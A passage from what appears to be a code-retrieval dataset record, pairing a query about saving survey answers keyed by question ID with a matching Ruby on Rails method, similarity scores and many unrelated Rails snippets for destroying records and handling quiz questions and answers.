MessageTemplate.find(params[:id])\n @message_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(message_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sentidoresolucion = Sentidoresolucion.find(params[:id])\n @sentidoresolucion.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentidosresolucion_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n DB.execute(\"DELETE FROM tasks WHERE id = ?\", @id)\n end", "def destroy\r\n @status_task = StatusTask.find(params[:id])\r\n @status_task.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to status_tasks_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @project_path = ProjectPath.find(params[:id])\n @project_path.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_paths_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.72990125", "0.6736443", "0.6604033", "0.65872294", "0.64097464", "0.6369544", "0.63376635", "0.63249373", "0.6318398", "0.63169014", "0.6302202", "0.6277306", "0.6277306", "0.6277306", "0.6277306", "0.62321115", "0.6225642", "0.6221018", "0.6177301", "0.61757106", "0.616187", "0.61497045", "0.61473674", "0.61435753", "0.61420023", "0.614164", "0.6129673", "0.61284786", "0.6125597", "0.61162376", "0.6085193", "0.6075439", "0.6057571", "0.60569304", "0.6037611", "0.6025225", "0.6015407", "0.60129976", "0.60017616", "0.5996833", "0.59612775", "0.59601027", "0.5935452", "0.5933921", "0.5931983", "0.5922572", "0.5919468", "0.591719", "0.58975273", "0.589587", "0.5884887", "0.5883528", "0.58779895", "0.5873293", "0.5871694", "0.5868563", "0.58678836", "0.5867076", "0.5855641", "0.5851163", "0.5849957", "0.58459896", "0.5845464", "0.5837327", "0.58326477", "0.58162624", "0.5815334", "0.58085126", "0.58061045", "0.58022064", "0.58014834", "0.57978165", "0.5777692", "0.57722443", "0.5765411", "0.57649326", "0.5756763", "0.5754895", "0.5747067", "0.5745971", "0.57407135", "0.57370174", "0.5734691", "0.57285947", "0.5728069", "0.57246745", "0.57242507", "0.5723977", "0.5722381", "0.57219094", "0.5721883", "0.5718811", "0.5715078", "0.57147634", "0.57130367", "0.5711983", "0.5711904", "0.57083815", "0.5704711", "0.57036203" ]
0.74211144
0
takes a hash of question IDs (keys) and answers (values)
def set_answers!(params) SurveyQuestion.with_question.find_all_by_survey_id(survey_id).each do |question| # iterate through all survey questions if params[question.id.to_s].blank? # if the question hasn't been answered remove_answer(question.id) else set_answer(question, params[question.id.to_s]) # save the answer end end save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def answer_dictionary (profile)\n answers = {}\n profile['answers'].each do |answer|\n answers << {\n answer['questionId'] => answer\n }\n end\n answers\nend", "def answers_for_question(question)\n @answers_for_question ||= {}\n @answers_for_question[question] ||= Answer.first_level_only\n .joins(:form_item)\n .where(response_id: responses.map(&:id))\n .where(\"form_items.question_id\" => question.id)\n .index_by(&:response_id)\n end", "def questions_with_qr(key)\n hashed_questionnaires[key].map do |quest|\n { id: quest.resource.id, title: quest.resource.title, questionnaire_response: {} }\n end\n end", "def ask_questions(dict)\n dict.each_with_index do |(key, val), i| \n print \"Question #{i+1}: #{key} is \"\n input = gets.chomp\n \n if check_answer(input, val) \n puts \"Correct! #{@correct} of #{i+1} correct.\\n\\n\"\n else\n print \"Sorry, the correct answer is #{val}.\" \n print \" #{@correct} of #{i+1} correct.\\n\\n\"\n end\n end\n end", "def answers\n @answers ||= {}\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def answers_json\n return false unless @questions\n out = {}\n @questions.each do |q|\n q_id = q.id\n out[q_id] = {}\n q.answers.each do |a|\n a_id = a.id\n out[q_id][a_id] = {}\n a.inputs.each do |i|\n out[q_id][a_id][i.key] = i.value\n end\n end\n end\n\n out\n end", "def to_hash\n {'question_id' => id, 'answer_id' => choice}\n end", "def set_questions(hash)\n questions = []\n hash.each do |k, v|\n question = Question.find(v)\n question.update(tag: '['+k+']')\n questions.push(question)\n end\n return questions\n end", "def set_data_from_hash(scores,questions) \n\t\tscores_array = Array.new\n\t\tquestion_ids_array = Array.new\n\t\tfor i in 0..scores.size-1 do\n\t\t\tscores_array[i] = Integer(scores[\"#{i}\"])\n\t\t\tquestion_ids_array[i] = Integer(questions[\"#{i}\"])\n\t\tend\n\t\tself.scores = scores_array\n\t\tself.question_ids = question_ids_array\n\tend", "def find_answer(hash={})\n hash[:answer]\nend", "def find_answer(h={})\n h[:answer]\nend", "def results\n # { answer choice text => count of responses }\n results_hash = Hash.new(0)\n\n answer_choices.each do |choice|\n # results_hash[choice.question.text] += choice.responses.length \n results_hash[choice.text] += choice.responses.length \n end\n \n results_hash\n end", "def update_responses(responses)\n\n ui_hash = []\n\n responses.each do |key, value|\n question = survey.question(key)\n response = response(key)\n\n next if value.nil? || question.nil?\n\n if question.type == :none || question.type == :repeater\n answer = question.answers.first\n ui_hash.push(HashWithIndifferentAccess.new(\n question_id: question.id.to_s,\n api_id: response ? response.api_id : Surveyor::Common.generate_api_id,\n answer_id: answer.id.to_s,\n answer.value_key => value.to_s,\n autocompleted: true\n ))\n end\n\n if question.type == :one\n ui_hash.push(HashWithIndifferentAccess.new(\n question_id: question.id.to_s,\n api_id: response ? response.api_id : Surveyor::Common.generate_api_id,\n answer_id: question.answer(value).id.to_s,\n autocompleted: true\n ))\n end\n\n if question.type == :any\n value.each do |item|\n ui_hash.push(HashWithIndifferentAccess.new(\n question_id: question.id.to_s,\n api_id: response ? response.api_id : Surveyor::Common.generate_api_id,\n answer_id: question.answer(item).id.to_s,\n autocompleted: true\n ))\n end\n end\n end\n\n update_from_ui_hash(Hash[ui_hash.map.with_index { |value, i| [i.to_s, value] }])\n end", "def execute\n questions = QuestionMapper.find_all\n answers = AnswerMapper.find_all\n answer_hash = Hash.new(0)\n\n answers.each do |ans| \n answer_hash[ans.id] = ans\n end \n \n questions.each do |question| \n answer_arr = [] \n answer_arr << question\n answer_arr << (answers.sample(3) - [answer_hash[question.id]] + [answer_hash[question.id]])\n print_segment(answer_arr)\n end \n\n :ok\n end", "def populate_from_hash(hash)\n # Response mission should already be set\n raise \"Submissions must have a mission\" if @response.mission.nil?\n\n Odk::DecoratorFactory.decorate_collection(@response.form.children).each do |item|\n if item.group?\n (hash[item.odk_code] || []).each_with_index do |instance, inst_num|\n item.children.each do |qing|\n add_answers_for_qing(Odk::DecoratorFactory.decorate(qing), instance, inst_num + 1)\n end\n end\n else\n add_answers_for_qing(item, hash, 1)\n end\n end\n @response.incomplete ||= (hash[Odk::FormDecorator::IR_QUESTION] == \"yes\")\n end", "def create_a_question\n q = ShortQuestion.create({\n :text => params[:text],\n :belongs_to_topic => params[:topic],\n :by => params[:by] || \"admin\",\n :by_id => params[:by_id]\n })\n params[:answers].each do |ans|\n a = q.short_answers.create({\n :text => ans.text,\n :choice_num => ans.choice \n })\n end\n $r.hset(\"question:#{q.id}:answers\", :num_choices, params[:answers].length)\n # Not setting the value of the answers to 0, as any increment will take care of initializing those keys\n end", "def build_answers\n existing_answers = answers.index_by &:question_id\n survey.questions.each do |q|\n next if existing_answers.has_key? q.id\n answers.build question: q\n end\n end", "def answers\n object.answers.collect do |a|\n {\n id: a.id,\n user_id: a.user_id,\n alternative_id: a.alternative_id\n }\n end\n end", "def shuffle_and_print_answers(question)\n answers = [\n question.correct,\n question.incorrect1,\n question.incorrect2,\n question.incorrect3\n ].shuffle\n\n answer_hash = {}\n letter = \"A\"\n answers.each do |answer|\n answer_hash[letter] = answer\n letter = letter.next\n end\n\n print_question(question)\n print_answers(answer_hash)\n return answer_hash\nend", "def answer_keys\n [key]\n end", "def initialize(hash)\r\n @question = hash['Question']\r\n\r\n @options = []\r\n hash['Options'].each {|option| @options << option}\r\n\r\n @answer = hash['Answer']\r\n end", "def ask_question\n qna = {\"who was the superbowl halftime show lady in 2015?\" => \"katy perry\", \"who dat?\" => \"we dat\",\n \"kurt cobain is the lead in which band?\"=> \"nirvana\",\n \"beyonce's daughter is named...?\"=> \"blue ivy\",\n \"who is the first black president?\"=> \"obama\"\n }\n data = qna.to_a.sample\n current_question = data.first\n current_answer = data.last\n\n puts current_question\n answer = gets.chomp\n data.delete(current_question)\n\n if answer.downcase == current_answer\n puts \"That is correct!\"\n else \n puts \"#{answer}!!!! REALLY?! The answer was #{current_answer}\"\n end\n\n if current_question\nend \n\n\n4.times do \n ask_question\nend\n\n\n\n# puts questions.sample\n\n# hash = {\"item\" => \"bread\", \"quantity\" => 1, \"brand\" => \"treehouse\"}\n# puts \"Hash: #{hash.inspect}\"\n\n# print \"hash.length: \"\n# puts hash.length\n\n# print \"hash.invert: \"\n# puts hash.invert\n\n# print \"hash.shift: \"\n# puts hash.shift\n\n# print \"hash: \"\n# puts hash.inspect\n\n# hash[\"item\"] = \"bread\"\n# puts \"Hash merging: \"\n\n# print \"original hash: \"\n# puts hash.inspect\n\n# print \"Merged with {'calories' => 100}\"\n# puts hash.merge({'calories' => 100})\n\n# print \"original hash: \"\n# puts hash.inspect\n\n# puts \"merged with {'item' => 'eggs'}\"\n# puts hash.merge({'item' => 'eggs'})\n# # grocery_list = [\"milk\", \"eggs\", \"bread\"]\n# # grocery_list << \"carrots\"\n\n# # grocery_list.push(\"potatoes\")\n# # grocery_list.unshift(\"celery\")\n\n# # grocery_list+= [\"ice cream\", \"pie\"]\n\n# # puts grocery_list.inspect", "def answers\n [answer_1, answer_2]\n end", "def label (hash)\n @labeled_answers.merge! hash\n end", "def appt_questionnaires\n base_qm[:questionnaire].each_with_object({}) do |quest, acc|\n questionnaire_id = quest['id']\n acc[questionnaire_id] = quest\n end\n end", "def index\n @questions = Question.order(:id)\n \n @qYes = Hash.new(0)\n @qNo = Hash.new(0)\n \n @questions.each do |question|\n yes=Answer.where(:question_id => question.id).find_by_ansid(1) || Answer.create(question_id: question.id , ansid: 1 , count: 0)\n no =Answer.where(:question_id => question.id).find_by_ansid(2) || Answer.create(question_id: question.id , ansid: 2 , count: 0)\n @qYes[question]= yes.count\n @qNo[question]= no.count \n end\n\n end", "def answers_keyed_by_language\n hash = Hash.new {|h,k| h[k] = [] }\n \n answers.each {|answer| hash[answer.language] << answer }\n \n hash\n end", "def all_answers_for(question)\n answers.select {|a| a.question == question}\n end", "def render_multiple_choice(q)\n ans = array_of_answers(q)\n question_text = q.multiple ? '(Select all that apply.) ' + q.question_text : q.question_text\n question_type = q.multiple ? 'multiple_answers_question' : 'multiple_choice_question'\n comments_key = q.raw? ? :incorrect_comments_html : :incorrect_comments_text\n\n ques = {\n :quiz_group_id => @current_group_id,\n :question_name => \"#{q.points} point#{'s' if q.points > 1}\",\n :question_type => question_type,\n :points_possible => q.points,\n :question_text => question_text,\n :position => 10000,\n :answers => ans\n }\n { question: ques }\n end", "def answer_params\n # Rails.logger.debug \"Params: #{params.inspect}\"\n params.require(:answers).permit(:answer, :updated_at, :users_id, :questions_id)\n end", "def question_id_field_hash(questions, model)\n hash = {}\n questions.each do |q|\n question_array = q['question'].parameterize.downcase.underscore.split('_')\n if q['question'].split(' ').include? 'Q:'\n hash[q['id']] = 'custom'\n elsif !q['id'].include? 'hidden'\n model.attribute_names.each do |attribute|\n # may be possible for question id to contain more than one attribute, \n # the attribute for that question_id in the hash will be overwritten \n if question_contains_attribute(question_array, attribute)\n hash[q['id']] = attribute\n end\n end\n end\n end\n hash\n end", "def answer_list\n answers = Quiz.where(id: params[:ids]).map{|quiz| [quiz.id => quiz.answer]}\n render json: {status: 200, answers: answers.flatten, msg: \"Success.\"}\n end", "def get_answers_for_question(question_id)\n answers = Array.new\n question = Question.find_by_id(question_id, :include => :answers)\n question.answers.each do |ans|\n answers << ans\n end\n return answers\n end", "def answer_params\n params.require(:answer).permit(:content, :question_id, :response_id)\n end", "def incorrect_hash(arr)\nincorrectStats = {}\narr.each do |q|\nif incorrectStats[q.question_id]\n incorrectStats[q.question_id] = incorrectStats[q.question_id] + 1\nelse \n incorrectStats[q.question_id] = 1\nend\nend\nincorrectStats\nend", "def answer_params\n params.require(:answer).permit(:answer, :response, :survey_id, :question_id, :response_id, :user_id)\n end", "def record_answer(knowledge_idurl, question_idurl, choice_idurls_ok)\n answer = Answer.new(:knowledge_idurl => knowledge_idurl,\n :question_idurl => question_idurl,\n :choice_idurls_ok => choice_idurls_ok,\n :time_stamp => Time.now)\n (hash_answered_question_answers[question_idurl] ||= []) << answer\n answers << answer\n answer\n end", "def create\n # puts params\n questions = JSON.parse(params[:questions])\n q_hash = questions[\"questions\"]\n @assignment = Assignment.new\n @assignment.course_id = params[:course_id]\n @assignment.type = \"Homework\"\n @assignment.start_date = params[:start_date]\n @assignment.end_date = params[:end_date]\n @assignment.name = params[:name]\n # Following is the question hash\n q_hash.each do |key, value|\n a_hash = key[\"answers\"]\n question = key[\"question\"]\n puts question\n new_question = Question.new\n new_question.description = question\n new_question.type = \"MultipleChoice\"\n # Answer hash\n a_hash.each do |k,v|\n puts k[\"is_correct\"]\n puts k[\"description\"]\n new_answer = Answer.new\n new_answer.description = k[\"description\"]\n new_answer.is_correct = k[\"is_correct\"]\n new_question.association(:answers).add_to_target(new_answer)\n end\n @assignment.association(:questions).add_to_target(new_question)\n end\n \n if @assignment.save\n render :show, status: :created, location: @assignment\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end", "def answers\n @answers ||= generate_answers\n end", "def submit_answers(connection_id, answers)\n connection_id.require!(as: 'connection_id')\n answers.require!(as: 'answers')\n answers.each do |answer|\n answer.require!(:answer, :question)\n end\n\n params = { questions: answers.to_json }\n api(:put, \"/connections/#{connection_id}/challenges\", params)\n .fetch('challenges')\n .cast(Challenge)\n end", "def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end", "def response_params\n params.require(:response).permit(:user, :questionnaire_id, answers_attributes: [:id, :content, :question_id])\n end", "def save_choices(questionnaire_id)\n\n if params[:new_question] and params[:new_choices]\n questions = Question.find_all_by_questionnaire_id(questionnaire_id)\n i = 1\n for question in questions\n for choice_key in params[:new_choices][i.to_s].keys\n\n if choice_key == params[:new_question][i.to_s][\"weight\"]\n score = 1\n else\n score = 0\n end\n q = QuestionAdvice.new(:score => score, :advice => params[:new_choices][i.to_s][choice_key], :question_id => question.id)\n q.save\n end\n i += 1\n question.weight = 1\n question.true_false = false\n end\n end\n end", "def answers\n request('answers')\n end", "def createQuiz\n puts \"how many questions?\"\n score = 0\n number = gets.chomp.to_i\n quizHash = {}\n number.times do\n puts \"Type your question.\"\n q = gets.chomp\n puts \"Type your answer.\"\n a = gets.chomp\n quizHash[a] = q\n end\n quizHash.each do |answer, question|\n puts question\n response = gets.chomp.downcase\n if response == answer\n score += 1\n puts \"correct\"\n else puts \"incorrect\"\n end\n end\n puts \"You got #{score} out of #{number}\"\nend", "def question_hash(question, matrix_question = false)\n qc = question.question_content\n questionable_type = matrix_question ? \"MatrixChoiceQuestion\" : qc.questionable_type\n hash = {qc_id: qc.id, questionable_type: questionable_type, questionable_id: qc.questionable_id, flow_control: qc.flow_control?}\n if qc.flow_control?\n hash[:flow_map] = Hash[question.choice_answers.map {|ca| [ca.id.to_s, ca.next_page_id]}]\n end\n hash\n end", "def quiz_params\n paramspermit(:answer)\n end", "def abbreviations\n answers_hash.keys\n end", "def question_params\n params.require(:question).permit(:title, topic_ids: [], answers_attributes: [:id, :content, :is_correct])\n end", "def answer_params\n params.require(:answer).permit(:question_number, :question_response, :taker_id, :question_id)\n end", "def save_questions(questionnaire_id)\n delete_questions questionnaire_id\n save_new_questions questionnaire_id\n \n if params[:question]\n for question_key in params[:question].keys\n begin\n if params[:question][question_key][:txt].strip.empty?\n # question text is empty, delete the question\n Question.delete(question_key)\n else\n if (@questionnaire.type == \"QuizQuestionnaire\")\n Question.update(question_key,:weight => 1, :txt => params[:question][question_key][:txt] )\n else\n Question.update(question_key, params[:question][question_key])\n end\n Question.update(question_key, params[:question][question_key])\n end\n rescue ActiveRecord::RecordNotFound \n end\n end\n end\n end", "def response_params\n params.require(:response).permit(:survey_id,\n :answers_attributes => [:id, :answer, :question_id]\n )\n end", "def serializable_hash(options = nil)\n\t options ||= {}\n\t question = {id: id, content: content}\n\t question[:user] = self.owner\n\t question[:question_image] = self.question_image\n\t question[:responses] = self.responses\n\t question\n\tend", "def answer_params\n params.require(:answer).permit(:username, :ans1, :ans2, :ans3, :ans4, :ans5, :res1, :res2, :res3, :res4, :res5, :total_res, :question_id, :student_id, :questionparam)\n end", "def validate_questions(raw_question)\n data = parse_questions(raw_question)\n if not data or not data.key?(\"answers\")\n return {score: 0, answer: nil}\n end\n question = data[\"answers\"]\n result = 0\n answer = nil\n response = DYNAMODB.scan(table_name: TABLE_NAME).items\n if question.key?(\"ID\") and question.key?(\"answer\")\n response.each do |item|\n if item['ID'].to_i == question['ID'].to_i\n answer = item['answer'].strip\n if item['answer'].strip == question['answer'].strip\n result = 1\n end\n break\n end\n end\n end\n {score: result, answer: answer}\nend", "def rekey_data(data)\n {\n id: data.fetch(\"id\"),\n question: {\n lemma: data.fetch(\"question\").fetch(\"lemma\"),\n prompt: data.fetch(\"question\").fetch(\"prompt\")\n }\n }\n end", "def answer_params\n params.require(:answer).permit(:user_id, :question_id, :content, :book_id, :title, :is_tweet, :is_anonymous)\n end", "def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end", "def conditions_hash(response_set)\n hash = {}\n response = response_set.responses.detect{|r| r.answer_id.to_i == self.answer_id.to_i}\n # logger.debug \"r: #{response.inspect}\"\n self.validation_conditions.each{|vc| hash.merge!(vc.to_hash(response))}\n return hash\n end", "def answer\n\t\tnum1 = rand(1..20)\n\t\tnum2 = rand(1..20)\n\t\t{'num1' => num1, 'num2' => num2, 'answer' => num1 + num2}\n\tend", "def quiz_detail\r\n result ={}\r\n qzps = self.bank_qizpoint_qzps\r\n node = BankNodestructure.where(:uid => self.node_uid).first\r\n result[:subject] = node.subject\r\n result[:grade]= node.grade\r\n result[:version] = node.version + \"(\"+ node.volume + \")\"\r\n result[:text] = self.text\r\n result[:node_uid] = node.uid\r\n result[:answer] = self.answer\r\n result[:desc] =self.desc\r\n result[:levelword2]=self.levelword2\r\n result[:bank_qizpoint_qzps] = qzps.map{|qzp|\r\n { \r\n \"type\" => qzp.type,\r\n \"type_label\" => Common::Locale::i18n(\"dict.#{qzp.type}\"),\r\n \"answer\" => qzp.answer,\r\n \"desc\" => qzp.desc,\r\n \"score\" => qzp.score,\r\n \"bank_checkpoint_ckps\" => qzp.bank_checkpoint_ckps.map{|bcc|\r\n {\r\n \"dimesion\" => bcc.dimesion,\r\n \"rid\" => bcc.rid,\r\n \"uid\" => bcc.uid,\r\n \"checkpoint\" => bcc.checkpoint,\r\n \"desc\" => bcc.desc\r\n }\r\n }\r\n }\r\n } \r\n result\r\n end", "def make_vote_data(question_id) #:doc:\n result = ActiveRecord::Base.connection.execute(\n \"SELECT items_votes.item_id AS winner_id, items_prompts.item_id AS\n loser_id, votes.tracking FROM votes INNER JOIN prompts ON (prompts.id=votes.prompt_id\n AND prompts.question_id=#{question_id}) INNER JOIN items_votes ON\n (items_votes.vote_id=votes.id) INNER JOIN items_prompts ON\n items_prompts.prompt_id=prompts.id AND items_prompts.item_id!=\n items_votes.item_id\"\n )\n votes = {}\n visits = []\n items = []\n # use votes.tracking to distinguish visitors\n while rec = result.fetch_hash\n winner_id, loser_id = rec['winner_id'], rec['loser_id']\n for id in [winner_id, loser_id]\n items << id unless items.include?(id)\n end\n winner = items.index(winner_id)\n loser = items.index(loser_id)\n\n tracking = rec['tracking']\n unless visits.include?(tracking)\n votes[visits.length] = []\n visits << tracking\n end\n visit = visits.index(tracking)\n # votes[visit] << [winner, loser]\n votes[visit] << winner << loser\n end\n result.free\n [votes, visits, items]\n end", "def Hacer_pregunta\n @array_hash = @array_hash.shuffle\n return(@array_hash.first[:question])\n end", "def quiz(num, lang1, lang2)\n num.times do\n model.random_pair.map do |pair|\n puts pair[lang1]\n print \"> \"\n user_answer = STDIN.gets.chomp\n puts pair[lang2] unless pair[lang2] == user_answer\n end\n end\n end", "def answer_params\n params.require(:answer).permit(:content, :question_id)\n end", "def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end", "def answers\n return Answer.where(question_id: self.id) \n end", "def get_scores(questions)\n scores = Hash.new\n scores[:team] = self # This doesn't appear to be used anywhere\n assignment.questionnaires.each do |questionnaire|\n scores[questionnaire.symbol] = Hash.new\n scores[questionnaire.symbol][:assessments] = Response.all(:joins => :map,\n :conditions => {:response_maps => {:reviewee_id => self.id, :type => 'TeamReviewResponseMap'}})\n scores[questionnaire.symbol][:scores] = Score.compute_scores(scores[questionnaire.symbol][:assessments], questions[questionnaire.symbol]) \n end\n scores[:total_score] = assignment.compute_total_score(scores)\n return scores\n end", "def get_scores(questions)\n scores = Hash.new\n scores[:team] = self # This doesn't appear to be used anywhere\n assignment.questionnaires.each do |questionnaire|\n scores[questionnaire.symbol] = Hash.new\n scores[questionnaire.symbol][:assessments] = Response.all(:joins => :map,\n :conditions => {:response_maps => {:reviewee_id => self.id, :type => 'TeamReviewResponseMap'}})\n scores[questionnaire.symbol][:scores] = Score.compute_scores(scores[questionnaire.symbol][:assessments], questions[questionnaire.symbol]) \n end\n scores[:total_score] = assignment.compute_total_score(scores)\n return scores\n end", "def sanitize_question_ids\n # question_id is something only we should be able to change.\n # It is included in params so that we can set question_id\n # as part of updating nested attributes.\n # We check for 'empty' to prevent errors, in case no questions\n # (and thus no answers) are added to the system yet.\n unless @questions.empty? || params[\"user_key\"][\"express_app_attributes\"]\n params[:user_key][:answers_attributes].each{|k,v| v[:question_id] = nil}\n # The index of the answer is used to check which question the answer goes to.\n @questions.each_with_index{|q,i| params[:user_key][:answers_attributes][i.to_s][:question_id] = q.id}\n end\n # Any extra answers that the user hacked in will error out due to missing a question_id.\n end", "def answer_params\n params.require(:answer).permit(:content, :user_id, :rating_id, :question_id)\n end", "def shuffle(questions)\n # hash is a hash from paragraph_id to an array of questions having that paragraph_id\n hash = questions.group_by(&:paragraph_id)\n # grouped is an array of \"groups\". Each group is either a question without paragraph or a group of questions belonging to the same paragraph\n grouped = hash.keys.inject([]) do |accumulator, key|\n key ? accumulator+=[hash[key]] : accumulator+=hash[key]\n end\n # Shuffle the grouped and then flatten them\n return grouped.shuffle.flatten\n end", "def question_params\n params.fetch(:answer_option, {})\n end", "def add_questions_answers(responses)\n content = \"\"\n responses.each do |response|\n answer = response.answer\n if !response.string_value.nil?\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.string_value)}\\n\"\n elsif answer.text == \"Date\"\n content += \"<b>#{response.question.text}</b> - #{response.datetime_value.to_date}\\n\"\n else\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.answer.text.to_str)}\\n\"\n end\n end\n content\n end", "def load_responses(parameters, survey_id)\n Question.all.each do |question|\n response = Response.new(survey_id: survey_id, question_id: question.id, choice_id: parameters[:\"#{question.id}\"])\n response.save\n end\n end", "def answer_params\n params.require(:answer).permit(:answer, :question_id, :user_id)\n end", "def answer_to question\n session_data(:answered)[question.id.to_s]\n end", "def answer_params\n params.require(:answer).permit(:text, :question_id, :correct)\n end", "def ask(question)\n session[:question_id] = question.id\n session[:correct_answer] = question.answer_correct\n session[:current_answers] = [@question.answer_correct, @question.answer_wrong_1, @question.answer_wrong_2, @question.answer_wrong_3].shuffle\n end", "def validate_questions(questions)\n uniq_questions = []\n questions.each do |question|\n qid = question[\"ident\"].to_s\n if (uid_exists?(\"question\", qid))\n if (uniq_questions.include?(question))\n val_warn(\"Duplicate Question Declaration\", qid, \"in Election Definition\")\n else\n val_err(\"Non-Unique Question UID\", qid, \"in Election Definition\")\n end\n else\n uniq_questions.push(question)\n uid_add(\"question\", qid)\n did = question[\"district_ident\"].to_s\n val_err(\"Non-Existent District UID\", did, \"for Question UID\", qid, \"in Question\") unless\n uid_exists?(\"district\", did)\n answers = question[\"answer_list\"].collect {|answer| answer.to_s}\n unless (answers.length == answers.uniq.length)\n val_err(\"Duplicate Answers\", answers.inspect, \"for Question UID\", qid, \"in Question\")\n end\n self.counts_questions[qid] = {\"question_ident\"=>qid,\n \"overvote_count\"=>0,\n \"undervote_count\"=>0,\n \"answer_count_list\"=>answers.collect {|ans| {\"answer\"=> ans,\n \"count\"=> 0}}}\n end\n end\n end", "def update\n def answer_given(question_id)\n return (params[:answer] and params[:answer][question_id.to_s] and\n params[:answer][question_id.to_s].length > 0)\n end\n \n @resp = Response.find(params[:id])\n\n @questionnaire.questions.each do |question|\n if question.kind_of? Questions::Field\n ans = Answer.find_answer(@resp, question)\n if answer_given(question.id)\n if ans.nil?\n ans = Answer.new :question_id => question.id, :response_id => @resp.id\n end\n ans.value = params[:answer][question.id.to_s]\n ans.save\n else\n # No answer provided\n if not ans.nil?\n ans.destroy\n end\n end\n end\n end\n\n respond_to do |format|\n if @resp.update_attributes(params[:response])\n format.html { redirect_to(response_url(@questionnaire, @resp)) }\n format.js { redirect_to(response_url(@questionnaire, @resp, :format => \"js\")) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.js { render :action => \"edit\" }\n format.xml { render :xml => @resp.errors, :status => :unprocessable_entity }\n end\n end\n end", "def answer_params\n params.require(:answer).permit(:content, :user_id, :question_id)\n end", "def retrieve_questions(questionnaires)\n questionnaires.each do |questionnaire|\n round = AssignmentQuestionnaire.where(assignment_id: @assignment.id, questionnaire_id: questionnaire.id).first.used_in_round\n questionnaire_symbol = if !round.nil?\n (questionnaire.symbol.to_s + round.to_s).to_sym\n else\n questionnaire.symbol\n end\n @questions[questionnaire_symbol] = questionnaire.questions\n end\n end", "def answer_params\n params.require(:answer).permit(:text, :votes, :question_id)\n end", "def evaluate_answers\n self.answers.each do |a|\n q = a.question\n a.correct = (a.answer_mask == q.answer_mask)\n a.save(:validate=>false)\n end\n end", "def to_hash\n {\n response_id: response_id,\n question_id: question_id,\n option_id: option_id,\n question_pipe: question_pipe,\n submitted_at: submitted_at,\n survey_id: survey_id,\n other_text: other_text,\n answer_text: option_id || other_text ? nil : answer_text\n }.reject { |k, v| v.nil? }\n end", "def answer_params\n params.require(:answer).permit(:user_id, :question_id, :content, :is_tweet, :is_anonymous)\n end", "def test_attc_value\n question_list_2 = Questions.new\n ary = [\"Shane\", \"a\", \"b\", \"c\", \"d\", \"e\"]\n question_list_2.attc_value(ary)\n actual = question_list_2.hashed_ans\n expected = {\"A\" => 'a',\"B\" => 'b',\"C\" => 'c',\"D\" => 'd'}\n msg = \"This should be a hash with the values, A, a, B, b, C, c, D, d\"\n assert_equal(expected, actual, msg)\n end", "def answer_params\n params.require(:answer).permit(:ans, :user_id, :question_id)\n end", "def record_questions_skipped_and_asked(skips_hash)\n skips_hash[:days].each do |date, hash|\n day = survey_version_days.find_or_create_by(date: date)\n day.questions_asked = hash[:total]\n day.questions_skipped = hash[:skip]\n end\n self.questions_asked = survey_version_days.pluck(:questions_asked).compact.sum\n self.questions_skipped = survey_version_days.pluck(:questions_skipped).compact.sum\n save\n 